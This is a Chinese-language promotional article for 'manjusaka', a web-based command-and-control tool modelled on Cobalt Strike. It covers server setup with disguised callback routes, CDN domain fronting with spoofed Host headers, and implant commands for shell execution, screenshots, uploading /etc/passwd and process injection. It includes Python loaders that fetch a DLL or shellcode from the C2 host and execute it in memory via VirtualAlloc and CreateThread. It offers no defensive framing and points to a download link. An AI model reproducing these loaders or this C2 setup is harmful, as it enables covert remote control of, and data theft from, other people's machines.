一款基于Web仿CobaltStrike C2远控

工具介绍

manjusaka牛屎花是一款基于WEB界面的远程主机管理工具，系统架构见下图。

关注【Hack分享吧】公众号，回复关键字【230828】获取下载链接

使用方法

配置conf.toml 运行主文件

[root@devops nps]# ./manjusaka
[NPS] 2022/09/14 15:57:21 初始用户: manjusaka  密码: ZbFCa2L2LRd5
[NPS] 2022/09/14 15:57:21 创建项目: 公共项目 没有归属的npc放在这个项目里面
[NPS] 2022/09/14 15:57:21 监听项目路由: VHOS5vqN
[NPS] 2022/09/14 15:57:21 NPS监听地址 :3200
[NPS] 2022/09/14 15:57:21 NPU后台地址 : manjusaka
[NPS] 2022/09/14 15:57:21 NPC监听地址 :801
[NPS] 2022/09/14 15:57:21 NPC交互路由 : /:target/favicon.ico
[NPS] 2022/09/14 15:57:21 NPC下载路由 : /:target/assert/:sys/bg.jpg
[NPS] 2022/09/14 15:57:21 NPC文件路由 : /images/:fid/logo.png

账号密码见初始日志，每个人生成的密码及默认路由都不一样，可编辑nps.db文件自行修改。

---

1、创建项目，默认有一个公共项目，通过项目【状态】开关可以控制项目是否启用状态。选择当前项目后 可在回传结果里面查看当前项目回传的信息。

新建项目 配置需要填写以下项：

项目名称: 随便写，如：hvv2022
回调地址: 外网IP和端口：http://12.34.56.78:8080
上线域名: cdn域名，如：http://imagecdn2.alicdn.com 如果没有上cdn则填写和回调地址一样
Host头 : cdn上线时所需要的host请求头，如：update.baiduimage.com 默认为上线域名
代理地址: NPC上线时如果需要走代理，在这里配置。比如我测试用的clash，代理配置为http://192.168.93.1:7890 详见：https://docs.rs/reqwest/0.11.16/reqwest/struct.Proxy.html

其它都会默认生成，点击确定更新之后需要刷新列表重新启用项目状态。

2、根据项目 生成npc 可以直接使用exe或elf格式的npc。也可以使用其它语言加载npc母体 比如使用python加载npc母体dll

import requests
from ctypes import cdll
res = requests.get("http://192.168.93.217:801/bq1iFEP2/assert/dll/x64/bg.jpg")
with open("a.dll","wb") as f:
    f.write(res.content)
cdll.LoadLibrary("a.dll").main()

或者使用shellcode内存加载的形式

import requests
import ctypes
shellcode = requests.get("http://192.168.93.217:801/bq1iFEP2/assert/bin/x64/bg.jpg").content
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, shellcode, len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

3、npc上线，点选中该npc即可对其进行操作， 输入help可查看帮助。目前支持的操作命令如下：

help      打印帮助 
ps        查看进程 eg: ps
ss        查看网络连接 eg: ss
ls        枚举文件 eg: ls /
cd        切换目录 eg: cd / 
sh        执行系统命令  eg: sh ps -aux  , sh tasklist  
cat       读取文本 cat a.txt
screen    执行截屏 screen
wget      下载文件 eg: wget http://192.168.1.1/a.txt <a.txt>    文件名可选 默认当前  
put       上传文件 eg: put /etc/passwd                          将passwd文件上传到nps服务器  
start     执行插件可执行文件 eg: start name <args>               需要可执行文件在plugins目录下 会自动把插件传到目标机器上面
pl        执行插件 eg: pl plugname <plugargs>                   需要插件在plugins目录下 
inject    注入进程 eg: inject pid <shellcodeurl>                shellcodeurl可选 默认下载当前shellcode下载链接